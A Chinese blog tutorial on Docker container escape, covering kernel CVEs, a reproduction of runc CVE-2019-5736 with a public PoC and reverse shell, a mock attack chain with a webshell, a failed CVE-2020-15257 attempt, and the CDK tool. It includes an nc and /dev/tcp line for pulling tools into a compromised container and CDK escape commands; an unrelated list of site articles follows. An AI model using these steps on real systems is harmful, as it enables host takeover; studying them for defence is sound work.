【云安全】云原生-Docker(五)容器逃逸之漏洞利用

漏洞利用逃逸

通过漏洞利用实现逃逸,主要分为以下两种方式:

1、操作系统层面的内核漏洞

这是利用宿主机操作系统内核中的安全漏洞,直接突破容器的隔离机制,获得宿主机的权限。

攻击原理:容器本质上是通过 Linux 的 cgroups 和 namespace 提供隔离,而这些功能依赖于内核。因此,内核漏洞可能被用来突破隔离,攻击者可以直接访问宿主机。

常用漏洞:

  • Dirty COW (CVE-2016-5195):Linux 内核的写时复制 (Copy-On-Write) 漏洞,攻击者可以通过漏洞实现提权,影响宿主机。
  • OverlayFS 漏洞 (如 CVE-2021-3493):OverlayFS 文件系统中的权限校验漏洞,允许容器突破文件系统限制访问宿主机。
  • 权限提升漏洞 (如 CVE-2022-0847):又名“Dirty Pipe”,允许攻击者通过文件写入操作实现提权。
  • 其它:CVE-2019-16884、CVE-2021-22555、CVE-2022-0492、CVE-2022-23222等

系统内核漏洞并非 Docker 容器逃逸的“专属”利用方式,而是通用的一种权限提升技术。在 Web 安全或本地提权攻击场景中,内核漏洞同样可以被用来获取更高的系统权限。本章节属于云安全Docker内容,因此,内核漏洞的利用本文不做具体讨论。

2、Docker自身版本漏洞

Docker 本身作为容器管理工具,可能存在漏洞或实现上的不足,攻击者可以通过漏洞逃逸出容器环境,直接控制宿主机。

常用漏洞:

CVE-2019-5736

攻击者通过覆盖容器内的 runc 二进制文件,可以执行任意代码并控制宿主机。

利用条件

(1)版本:Docker version <= 18.09.2,RunC version <= 1.0-rc6 

(2)需要管理员再次进入容器触发

漏洞复现

a.首先卸载原有docker

sudo apt-get purge -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin docker-ce-rootless-extras
sudo rm -rf /var/lib/docker
sudo rm -rf /var/lib/containerd
sudo rm /etc/apt/sources.list.d/docker.list
sudo rm /etc/apt/keyrings/docker.asc

b.安装漏洞对应版本

apt-get update
apt-get install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
apt-get update
apt-cache madison docker-ce
apt-get install docker-ce=18.06.1~ce~3-0~ubuntu

c.编译exp ,项目地址

https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go

下载EXP后修改

使用如下命令进行编译EXP

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

d.准备另一台主机进行监听,上传EXP到容器,执行

e. 模拟管理员进入容器,触发EXP执行,成功反弹shell,复现完毕

模拟实战

受害者搭建网站

攻击者发现存在 Spring Cloud Gateway 命令执行漏洞

发现是容器root权限

植入内存马,使用哥斯拉连接

使用哥斯拉的远程下载功能,下载EXP,并赋予执行权限

监听、执行→管理员进入容器→成功逃逸

CVE-2020-15257

该漏洞出现在 containerd 的 CRI plugin(容器运行时接口插件)中。攻击者可以通过创建特定配置的容器,将 cgroups(控制组)的 pids.max 参数设置为无效值。当 containerd 尝试写入这个值时,会导致内核返回错误。这可能使 containerd 的内部机制中断,从而允许攻击者进一步利用该错误实现权限提升。

利用条件

(1)版本:containerd < 1.4.3,containerd < 1.3.9(不含1.3.9 和 1.4.3

(2)容器权限为root,且以 --net=host 模式启动

模拟复现

a. 受害者安装的containerd版本为漏洞版本

apt-get update
apt-get install ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
apt-get update
apt-cache madison docker-ce
apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1

b.受害者基于以上环境搭建的网站,存在struts2漏洞

c. 攻击者发现漏洞。执行命令,发现是容器环境,权限为容器root

d.攻击者反弹shell后,在受害者容器内下载CDK项目

e.后续利用,搜寻教程和资料说是可以借助自动化项目CDK进行容器逃逸。但是,不知道哪里出了问题,该漏洞我未能复现成功,猜测是各大云厂商做了安全优化,一路上各种报错,如果哪位大佬知道其中的缘由,还望告知!

自动化项目:CDK

项目链接:
GitHub - cdk-team/CDK: 📦 Make security testing of K8s, Docker, and Containerd easier.

CDK是一款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。 

下载/植入
  • 在目标容器内直接wget或者curl
  • 通过公网主机nc重定向
A主机:nc -lvp 999 < cdk
B主机:cat < /dev/tcp/A主机IP/999 > cdk

 

功能模块
  • Evaluate: 容器内部信息收集,以发现潜在的弱点便于后续利用。
  • Exploit: 提供容器逃逸、持久化、横向移动等利用方式。
  • Tool: 修复渗透过程中常用的linux命令以及与Docker/K8s API交互的命令。
使用测试

以特权模式启动一个容器

在容器中下载CDK

信息收集

./cdk eva

发现特权模式

特权模式利用

 ./cdk run mount-disk

使用自动逃逸也是没问题的

 ./cdk  auto-escape id

Ps:该项目还是很强大的,经测试,特权模式、危险挂载均可以检查并利用,师傅们可自行测试

结尾

至此,Docker安全问题分析结束,下一篇开始,讨论容器编排工具k8s的安全问题

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/67007.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

微信小程序date picker的一些说明

微信小程序的picker是一个功能强大的组件&#xff0c;它可以是一个普通选择器&#xff0c;也可以是多项选择器&#xff0c;也可以是时间、日期、省市区选择器。 官方文档在这里 这里讲一下date picker的用法。 <view class"section"><view class"se…

[java] 面向对象进阶篇1--黑马程序员

目录 static 静态变量及其访问 实例变量及其访问 静态方法及其访问 实例方法及其访问 总结 继承 作用 定义格式 示例 总结 子类不能继承的内容 继承后的特点 成员变量 成员变量不重名 成员变量重名 super访问父类成员变量 成员方法 成员方法不重名 成员方法…

AI News(1/21/2025):OpenAI 安全疏忽:ChatGPT漏洞引发DDoS风险/OpenAI 代理工具即将发布

1、OpenAI 的安全疏忽&#xff1a;ChatGPT API 漏洞引发DDoS风险 德国安全研究员 Benjamin Flesch 发现了一个严重的安全漏洞&#xff1a;攻击者可以通过向 ChatGPT API 发送一个 HTTP 请求&#xff0c;利用 ChatGPT 的爬虫对目标网站发起 DDoS 攻击。该漏洞源于 OpenAI 在处理…

LLMs的星辰大海:大语言模型的前世今生

文章目录 一. LLM 的演进&#xff1a;从规则到智能的跃迁 &#x1f4ab;1.1 语言模型的蹒跚起步 &#x1f476;1.2 RNN 与 LSTM&#xff1a;序列建模的尝试 &#x1f9d0;1.3 Transformer 的横空出世&#xff1a;自注意力机制的革命 &#x1f4a5;1.4 LLM &#xff1a;从预测到…

7-Zip高危漏洞CVE-2025-0411:解析与修复

7-Zip高危漏洞CVE-2025-0411&#xff1a;解析与修复 免责声明 本系列工具仅供安全专业人员进行已授权环境使用&#xff0c;此工具所提供的功能只为网络安全人员对自己所负责的网站、服务器等&#xff08;包括但不限于&#xff09;进行检测或维护参考&#xff0c;未经授权请勿利…

数据结构(精讲)----树(应用篇)

特性&#xff1a; 什么是树&#xff1a; 树(Tree)是(n>0)个节点的有限集合T&#xff0c;它满足两个条件&#xff1a; (1) 有且仅有一个特定的称为根&#xff08;Root&#xff09;的节点。 (2) 其余的节点可以分为m&#xff08;m≥0&#xff09;个互不相交的有限集合T1、…

【动态规划】--- 斐波那契数模型

Welcome to 9ilks Code World (๑•́ ₃ •̀๑) 个人主页: 9ilk (๑•́ ₃ •̀๑) 文章专栏&#xff1a; 算法Journey &#x1f3e0; 第N个泰波那契数模型 &#x1f4cc; 题目解析 第N个泰波那契数 题目要求的是泰波那契数&#xff0c;并非斐波那契数。 &…

如何确保Spring单例Bean在高并发环境下的安全性?

在Spring中&#xff0c;单例Bean就像是一个“公共的水杯”&#xff0c;整个应用程序中的所有线程都会共享这一个实例。在大部分情况下&#xff0c;这没什么问题&#xff0c;但如果多个线程同时想要修改这个“水杯”里的内容&#xff0c;就可能会出现问题了。 想象一下&#xff…

期刊审稿意见回复的LaTeX模板分享

下载网址 https://github.com/NeuroDong/Latex_for_review_comments 效果展示 分享内容 在学术写作过程中&#xff0c;回复审稿意见是一个重要且繁琐的环节。由于审稿人众多&#xff0c;使用Word进行排版往往效率低下。为了提高效率&#xff0c;我在网上找到了一个LaTeX模板…

Spring Boot/MVC

一、Spring Boot的创建 1.Spring Boot简化Spring程序的开发,使用注解和配置的方式开发 springboot内置了tomact服务器 tomact:web服务器,默认端口号8080,所以访问程序使用8080 src/main/java:Java源代码 src/main/resource:静态资源或配置文件,存放前端代码(js,css,html) s…

Spring--SpringMVC的调用流程

一.简介 1.1主要作用 SSM框架构建起单的技术栈需求&#xff01;其中的SpringMVC负责表述层&#xff08;控制层&#xff09;实现简化&#xff01; 最终总结&#xff1a; 1. 简化前端参数接收( 形参列表 )2. 端数据响应(返回值)1.2核心组件和调用流程 Spring MVC与许多其他Web…

C#集合排序的三种方法(List<T>.Sort、LINQ 的 OrderBy、IComparable<T> 接口)

见过不少人、经过不少事、也吃过不少苦&#xff0c;感悟世事无常、人心多变&#xff0c;靠着回忆将往事串珠成链&#xff0c;聊聊感情、谈谈发展&#xff0c;我慢慢写、你一点一点看...... 1、使用 List<T>.Sort 方法与自定义比较器 public class Person{public string …

从ChatGPT热潮看智算崛起

2025年1月7日&#xff0c;科智咨询发布《2025年IDC产业七大发展趋势》&#xff0c;其中提到“ChatGPT开启生成式AI热潮&#xff0c;智能算力需求暴涨&#xff0c;算力供给结构发生转变”。 【图片来源于网络&#xff0c;侵删】 为何会以ChatGPT发布为节点呢&#xff1f;咱们一起…

Frida使用指南(三)- Frida-Native-Hook

1.Process、Module、Memory基础 1.Process Process 对象代表当前被Hook的进程,能获取进程的信息,枚举模块,枚举范围等 2.Module Module 对象代表一个加载到进程的模块(例如,在 Windows 上的 DLL,或在 Linux/Android 上的 .so 文件), 能查询模块的信息,如模块的基址、名…

Electron学习笔记,安装环境(1)

1、支持win7的Electron 的版本是18&#xff0c;这里node.js用的是14版本&#xff08;node-v14.21.3-x86.msi&#xff09;云盘有安装包 Electron 18.x (截至2023年仍在维护中): Chromium: 96 Node.js: 14.17.0 2、安装node环境&#xff0c;node-v14.21.3-x86.msi双击运行选择安…

漏洞修复:Apache Tomcat 安全漏洞(CVE-2024-50379) | Apache Tomcat 安全漏洞(CVE-2024-52318)

文章目录 引言I Apache Tomcat 安全漏洞(CVE-2024-50379)漏洞描述修复建议升级Tomcat教程II Apache Tomcat 安全漏洞(CVE-2024-52318)漏洞描述修复建议III 安全警告引言 解决方案:升级到最新版Tomcat https://blog.csdn.net/z929118967/article/details/142934649 service in…

提示词的艺术 ---- AI Prompt 进阶(提示词框架)

提示词的艺术 ---- AI Prompt 进阶&#xff08;提示词框架&#xff09; 写在前面 上周发布了一篇《提示词的艺术----AI Prompt撰写指南》&#xff0c;旨在帮助读者理解提示词的作用&#xff0c;以及简单的提示词撰写指南。本篇作为进阶内容&#xff0c;将给出常用的提示词框架…

在 Windows 11 中为 SMB 3.x 文件共享协议提供 RDMA 支持

注&#xff1a;机翻&#xff0c;未校。 Enable SMB Direct in Windows 11 在 Windows 11 中启用 SMB Direct Provides RDMA support for the SMB 3.x file sharing protocol 为 SMB 3.x 文件共享协议提供 RDMA 支持 Vigneshwaran Vijayakumar November 3, 2024 Last Updat…

electron打包客户端在rk3588上支持h265硬解

目录 前言 chromium是如何支持h265硬解 electron/chromium第一次编译 electron/chromium第二次编译 前言 我们的客户端程序是用electron打包的前端程序&#xff0c;其在rk3588主机上的linux环境运行。之前使用客户端查看h264编码的视频直播是没有问题的&#xff0c;但视频源…

GitCode 助力 AutoTable:共创 MyBatis 生态的自动表格管理新篇章

项目仓库https://gitcode.com/dromara/auto-table 解放双手&#xff0c;专注业务&#xff1a;MyBatis 生态的“自动表格”创新 AutoTable 是一款致力于为 MyBatis 生态赋予“自动表格”功能的创新插件。其核心理念是通过 Java 实体类自动生成和维护数据库的表结构&#xff0c…